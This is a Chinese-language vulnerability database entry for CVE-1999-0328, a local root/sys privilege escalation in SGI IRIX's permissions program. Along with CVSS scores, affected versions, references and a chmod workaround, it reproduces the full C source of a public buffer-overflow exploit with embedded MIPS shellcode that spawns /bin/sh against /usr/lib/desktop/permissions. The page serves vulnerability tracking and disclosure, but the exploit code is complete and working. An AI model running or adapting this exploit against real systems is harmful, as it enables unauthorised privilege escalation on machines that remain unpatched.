CVE-1999-0328
CVSS7.2
发布时间 :1997-11-01 00:00:00
修订时间 :2008-09-09 08:34:17
NMCOE    

[原文]SGI permissions program allows local users to gain root privileges.


[CNNVD]SGI许可程序权限许可和访问控制漏洞(CNNVD-199711-003)

        SGI许可程序存在漏洞,本地用户可以获取根权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sgi:irix:6.0.1SGI IRIX 6.0.1
cpe:/o:sgi:irix:6.3SGI IRIX 6.3
cpe:/o:sgi:irix:6.4SGI IRIX 6.4
cpe:/o:sgi:irix:5.3::xfsSGI IRIX 5.3 XFS
cpe:/o:sgi:irix:5.0.1SGI IRIX 5.0.1
cpe:/o:sgi:irix:6.2SGI IRIX 6.2
cpe:/o:sgi:irix:5.2SGI IRIX 5.2
cpe:/o:sgi:irix:5.1SGI IRIX 5.1
cpe:/o:sgi:irix:5.1.1SGI IRIX 5.1.1
cpe:/o:sgi:irix:5.3SGI IRIX 5.3
cpe:/o:sgi:irix:6.0SGI IRIX 6.0
cpe:/o:sgi:irix:6.0.1::xfsSGI IRIX 6.0.1 XFS
cpe:/o:sgi:irix:6.1SGI IRIX 6.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0328
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0328
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199711-003
(官方数据源) CNNVD

- 其它链接及资源

ftp://patches.sgi.com/support/free/security/advisories/19971103-01-PX
(UNKNOWN)  SGI  19971103-01-PX

- 漏洞信息

SGI许可程序权限许可和访问控制漏洞
高危 未知
1997-11-01 00:00:00 2005-05-02 00:00:00
本地  
        SGI许可程序存在漏洞,本地用户可以获取根权限。

- 公告与补丁

        

- 漏洞信息 (19318)

SGI IRIX <= 6.4 permissions Buffer overflow Vulnerability (EDBID:19318)
aix local
1997-05-26 Verified
0 David Hedley
N/A [点击下载]
source: http://www.securityfocus.com/bid/417/info

A buffer overrun exists in the permissions program, as shipped by Silicon Graphics with the 5.x and 6.x Irix operating system. By supplying a long, well crafted buffer as the 4th argument to the program, arbitrary code can be executed as group sys.

/* /usr/lib/desktop/permissions exploit by DCRH 26/5/97
 *
 * This gives you egid = sys
 *
 * Tested on: R8000 Power Challenge (Irix64 6.2)
 *
 * Exploit doesn't work on Irix 5.x due to stack position
 *
 * compile as: cc -n32 perm.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   400
#define BUF_LENGTH      700
#define EXTRA           500
#define OFFSET          0x200
#define GP_OFFSET       31612
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    if (stack & 0x80000000) {
        printf("Recompile with the '-n32' option\n");
        exit(1);
    }

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }

    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;

    for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
        *long_p++ = tmp;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp << 16) | (tmp >> 16);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/usr/lib/desktop/permissions", "permissions",
           "-display", getenv("DISPLAY"), "/bin/ls", buf, 0, env);
    perror("execl failed");
}
		

- 漏洞信息

997
IRIX Indigo Magic Desktop permissions Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in IRIX. The permissions program of the Indigo Magic Desktop package fails to check bounds resulting in a buffer overflow. With a specially crafted request, an attacker can execute arbitrary code with the privileges of the sys group, resulting in a loss of integrity.

- 时间线

1997-05-26 Unknow
1997-05-26 Unknow

- 解决方案

Upgrade to version 6.5 or higher, as it has been reported to fix this vulnerability. In addition, Silicon Graphics, Inc. has released patches for some older versions. It is also possible to correct the flaw by implementing the following workaround: The steps below can be used to remove the vulnerability by removing the permissions of the syserr and permissions programs. 1) Become the root user on the system. % /bin/su - Password: # 2) Change the permissions on the programs. # /bin/chmod 500 /usr/sbin/syserr # /bin/chmod 500 /usr/lib/desktop/permissions 3) Return to previous level. # exit $

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站